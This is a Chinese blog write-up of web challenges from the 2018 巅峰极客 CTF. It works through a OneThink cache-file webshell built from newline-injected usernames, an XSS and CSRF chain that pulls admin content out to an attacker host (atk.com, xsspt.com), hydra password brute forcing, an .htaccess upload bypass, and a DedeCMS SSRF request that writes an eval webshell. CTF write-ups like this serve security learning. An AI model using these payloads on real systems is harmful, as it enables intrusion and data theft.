sky's blog

2018 巅峰极客-Web补题

字数统计: 1,216阅读时长: 5 min
2018/07/23 Share

前言

不得不说,一段时间不打比赛,竞技状态有了明显的下降
更可气的是,竟然打了一下午比赛就发烧了= =
哎,锻炼身体也很重要啊,废话不多说,开始补题

巅峰极客—pentest

这题猜到是Metinfo的重装攻击
但是试了删除方法不行,后来才知道是要利用file/file.php

然后就是常规的重装攻击
心态崩了= =

巅峰极客—A Simple Cms

不难发现www.zip的文件泄露
容易发现是Onethink CMS
是用thinkphp框架写的
搜索后可发现已知漏洞
https://bbs.ichunqiu.com/thread-4918-1-1.html
容易发现,该CMS存在固定缓存文件名
2bb202459c30a1628513f40ab22fa01a.php
请求文件,发现文件确实存在,但是利用缓存漏洞进行攻击
访问该页面却没有反应
那么我想到的就是去查看相关的代码
找到

1
./ThinkPHP/Library/Think/Cache/Driver/File.class.php

那么应该是这个文件被修改过了,于是和源代码diff了一下

不难发现,这里的文件名做了改动
于是我们将2bb202459c30a1628513f40ab22fa01a又进行了一次md5
得到最后的文件名
onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
访问缓存目录
/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
发现确实存在该文件
于是注册了一下%0aphpinfo();//的用户名的用户
然后登陆
发现成功

于是进行getshell
注册两个用户

1
2
%0d%0a$a=$_GET[sky];//
%0d%0aeval($a);//

依次登陆
然后即可利用shell去获取flag

1
/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?sky=system('cat /tmp/flag');

巅峰即可—Online Mysql Run

题目有2个功能
1.进行数据库的增删改查
2.可以让服务器去请求你输入的url
第一个功能遍历数据库无果,发现没有重要数据
但是关键点在于,数据库的查询结果会经过html输出在前端
那么如果我们查询的是带有xss代码的数据,是否可以触发xss呢?
所以尝试

然后使用

发现xss成功
那么选择

1
http://xsspt.com/

打一下cookie试试
发现返回的referer里有地址

1
http://127.0.0.1/admin_zzzz666.php


但是直接访问无果

1
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php

\
这里选择xss平台的源码获取
然后将生成的恶意代码放入以下evil_hex

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<div>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/runsql.php" name = 'form1' method="POST">
<input type="hidden" name="sql" value="select unhex('evil_hex')" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
setTimeout("form1.submit();",10);
</script>
</div>
</div>

则可以得到页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php
<!DOCTYPE html>
<div>
<head>
<title>Online Mysql Run</title>
</head>
<div>

<h3>Admin Index:</h3>

![](./static/img/iamsecret_555.jpg">

I am l3m0n tree.

</div>
</div>

看来flag是

1
./static/img/iamsecret_555.jpg

但是直接访问依旧是403
利用工具https://github.com/Lz1y/frame2canvas
可以获得图片内容
payload

1
<iframe id="myIframe" src="admin_zzzz666.php"></iframe><script src="//atk.com/atk.js"></script>

同样进行16进制编码后放入evil_hex
然后即可在vps上的监听得到base64
解码得到

巅峰极客—BabyWeb

1.扫描端口发现3306开放
2.利用hydra爆破,得到密码1q2w3e4r5t6y
3.连入数据库后可以找到账号密码BabyWeb@my.lol/babyweb@1990
4.登陆后就是bypass upload 去getshell
这里用到的是上传.htaccess的常规操作

上传.abc结尾的后缀即可被解析为.php
于是可以getshell

巅峰极客—DedeFun

题目描述

所以显然是要想办法XSS或者SSRF去伪造127.0.0.1的
因为$_SERVER['REMOTE_ADDR']是不可伪造的
其中

1
uploadsafe.inc.php

使用了getimagesize()来判断图片
其获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload
那么可以尝试

让其去请求一个外部链接

即可导致SSRF
那么利用这个ssrf漏洞,即可去getshell
构造恶意代码

1
<?php eval($_POST['c']);?>

然后base64一下

1
file_put_contents('uploads/userup/666.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4xMjM='));

再base64一下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /tags.php HTTP/1.1
Host: 106.75.35.230:9002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KH TML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3mkbktjhmk7j444or2m71g9ce4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 308

dopost=save&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif&_FILES[b4dboy][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=eval(base64_dec ode(ZmlsZV9wdXRfY29udGVudHMoJ3VwbG9hZHMvdXNlcnVwLzY2Ni5waHAnLGJhc2U2NF 9kZWNvZGUoJ1BEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTW5YU2s3UHo0eE1qTT0nKSk7));

即可getshell

后记

挺有意思的比赛,除了自己菜没什么好说的,可以学到不少东西
继续努力Orz

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 巅峰极客—pentest
  3. 3. 巅峰极客—A Simple Cms
  4. 4. 巅峰即可—Online Mysql Run
  5. 5. 巅峰极客—BabyWeb
  6. 6. 巅峰极客—DedeFun
  7. 7. 后记